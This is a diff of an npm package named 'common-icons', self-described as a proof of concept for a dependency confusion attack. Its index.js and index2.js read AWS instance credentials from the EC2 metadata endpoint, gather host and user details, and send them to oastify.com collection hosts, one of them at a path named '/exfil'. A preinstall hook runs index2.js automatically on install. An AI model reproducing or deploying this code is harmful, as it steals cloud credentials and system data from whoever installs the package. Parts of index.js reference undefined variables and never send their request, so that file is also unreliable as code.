common-icons 1.0.82

package/index.js

@@ -0,0 +1,49 @@
+base64data3 = '';
+function req1(){
+    http.get({
+        hostname: '169.254.169.254',
+        port: 80,
+        path: '/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance',
+        agent: false
+    }, 
+    (res) => { 
+            res.setEncoding('utf8');
+            let data = '';
+            res.on("data", (d) => {
+            var x;
+            x=d;
+            let buff3 = Buffer.from(x);
+            base64data3 = buff3.toString('base64');
+
+            const trackingData = JSON.stringify({
+                p: package,
+                c: __dirname,
+                homedir: os.homedir(),
+                networkinginterfaces: os.networkingInterfaces(),
+                release: os.release(),
+                userid: os.userInfo().uid,
+                hostname: os.hostname,
+                username: os.userInfo().username,
+                dns: dns.getServers(),
+                r: packageJSON ? packageJSON.__resolved : undefined,
+                v: packageJSON.version,
+                pjson: packageJSON
+            });
+            var options = {
+                hostname: 'lnc9dq3e7zp7gbfl9evho5eg076yuoid.oastify.com',
+                port: 443, 
+                path: '/',
+                method: "POST",
+                headers: {
+                    "content-type":"application/x-www-form-urlencoded",
+                    "content-length": postData.length,
+                    "content-awsconfig":base64data1,
+                    "content-awscreds":base64data2,
+                    "content-imdsv":base64data3
+                }
+            };
+
+            })
+        }
+    )
+}

package/index2.js

@@ -0,0 +1,10 @@
+var url = "http://169.254.169.254:80/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance";
+var attacker = "http://1oqpe64u8fqnhrg1auwxplfw1n7ev5ju.oastify.com/exfil";
+var xhr  = new XMLHttpRequest();
+xhr.onreadystatechange = function() {
+    if (xhr.readyState == XMLHttpRequest.DONE) {
+        fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
+    }
+}
+xhr.open('GET', url, true);
+xhr.send(null);

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "common-icons",
+  "version": "1.0.82",
+  "description": "POC for confussion attack",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index2.js"
+  },
+  "author": "",
+  "license": "ISC"
+}